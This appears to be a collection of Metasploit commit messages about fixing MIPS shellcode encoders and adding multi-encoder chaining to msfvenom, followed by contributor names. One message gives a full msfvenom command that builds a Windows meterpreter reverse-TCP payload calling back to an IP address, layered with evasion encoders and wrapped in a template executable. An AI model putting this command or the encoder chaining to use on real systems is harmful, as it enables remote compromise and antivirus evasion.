The byte_xori encoder for mipsbe does not work correctly. At the end of the decoding, it should invoke cacheflush() with the correct parameters:
int cacheflush(char *addr, int nbytes, int cache)
I think this is because the encoder is based of the longxori encoder, which itself is pretty old (2008), and before kernel 2.6.11, cacheflush() did not need any parameters (from the cacheflush man page):
BUGS
Linux kernels older than version 2.6.11 ignore the addr and nbytes arguments, making this function fairly expensive. Therefore, the whole cache is always flushed.
This commit fixes that by setting up the parameters correctly. As an unfortunate side effect this increases the shellcode by 16 bytes, but it is absolutely necessary for it to work properly.
Note that this bug is not present when testing the encoder output on an emulator like qemu; emulators do not need to flush the caches to work properly.
The longxor encoder for mipsbe does not work correctly. At the end of the decoding, it should invoke cacheflush() with the correct parameters:
int cacheflush(char *addr, int nbytes, int cache)
The encoder previously did not setup the arguments, as it even said so in the comments:
; addiu $4, $16, -4 ; not checked by Linux
; li $5,40 ; not checked by Linux
; li $6,3 ; $6 is set above
I think this is because the encoder is pretty old (2008), and before kernel 2.6.11, cacheflush() did not need any parameters (from the cacheflush man page):
BUGS
Linux kernels older than version 2.6.11 ignore the addr and nbytes arguments, making this function fairly expensive. Therefore, the
whole cache is always flushed.
This commit fixes that by setting up the parameters correctly. As an unfortunate side effect this increases the shellcode by 16 bytes, but it is absolutely necessary for it to work properly.
Note that this bug is not present when testing the encoder output on an emulator like qemu; emulators do not need to flush the caches to work properly.
As an added bonus I have also made it compatible with toupper() restrictions, which is common in web server exploits too. This did not add any extra bytes to the encoder.
irb(main):001:0> ["(",")",".","_","c","h","r","e","v","a","l","b","s","6","4","d","o"] == %w{( ) . _ c h r e v a l b s 6 4 d o}
=> true
irb(main):002:0>
Add psexec option SERCVICE_STUB_ENCODER to allow a list of encoder to
encode the x86/service stub.
Add multiple_encode_payload function in payload_generator.rb to accept a
list of encoder (beginning with @ to not break the classic parsing of
encoder).
With this it would be possible to pass multiple encoder to msfvenom in
one execution.
./msfvenom -p windows/meterpreter/reverse_tcp LPORT=80
LHOST=192.168.100.11 -e
@x86/shikata_ga_nai,x86/misc_anti_emu:5,x86/shikata_ga_nai -x
template.exe -f exe-only -o meterpreter.exe
Brendan Coles
Pedro Ribeiro
Francesco Soncina
bwatters-r7
stefano118
phra
stefano118
William Vu
Robin Stenvi
h00die
Brent Cook
g0tmi1k
Christian Mehlmauer
OJ
David Maloney
fullmetalcache
James Lee
agix